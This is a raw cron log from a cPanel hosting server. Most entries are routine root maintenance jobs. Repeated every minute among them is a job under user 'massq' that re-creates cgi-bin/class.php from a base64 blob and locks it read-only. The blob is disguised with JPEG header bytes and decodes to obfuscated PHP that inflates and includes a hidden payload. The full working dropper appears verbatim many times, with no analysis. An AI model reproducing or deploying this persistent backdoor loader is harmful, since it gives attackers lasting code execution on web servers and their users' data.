Aug 30 06:28:01 server CROND[8208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:29:01 server CROND[8585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:29:01 server CROND[8586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:29:01 server CROND[8587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:30:01 server CROND[8980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:30:01 server CROND[8981]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:30:01 server CROND[8984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:30:01 server CROND[8987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:30:01 server CROND[8986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:30:01 server CROND[8989]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:30:01 server CROND[8988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:30:01 server CROND[8990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:31:02 server CROND[9914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:31:02 server CROND[9916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:31:02 server CROND[9915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:32:01 server CROND[10290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:32:01 server CROND[10291]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:32:01 server CROND[10292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:33:01 server CROND[10682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:33:01 server CROND[10683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:33:01 server CROND[10684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:34:01 server CROND[11071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:34:01 server CROND[11073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:34:01 server CROND[11072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:35:01 server CROND[11455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:35:01 server CROND[11456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:35:01 server CROND[11458]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:35:01 server CROND[11460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:35:01 server CROND[11461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:35:01 server CROND[11464]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 06:35:01 server CROND[11466]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 06:35:01 server CROND[11468]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:35:01 server CROND[11463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:36:01 server CROND[12469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:36:01 server CROND[12468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:36:01 server CROND[12467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:37:01 server CROND[12853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:37:01 server CROND[12855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:37:01 server CROND[12854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:38:01 server CROND[13222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:38:01 server CROND[13223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:38:01 server CROND[13224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:39:01 server CROND[13599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:39:01 server CROND[13600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:39:01 server CROND[13602]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 06:39:01 server CROND[13601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:40:01 server CROND[14008]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:40:01 server CROND[14009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:40:01 server CROND[14010]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:40:01 server CROND[14011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:40:01 server CROND[14014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
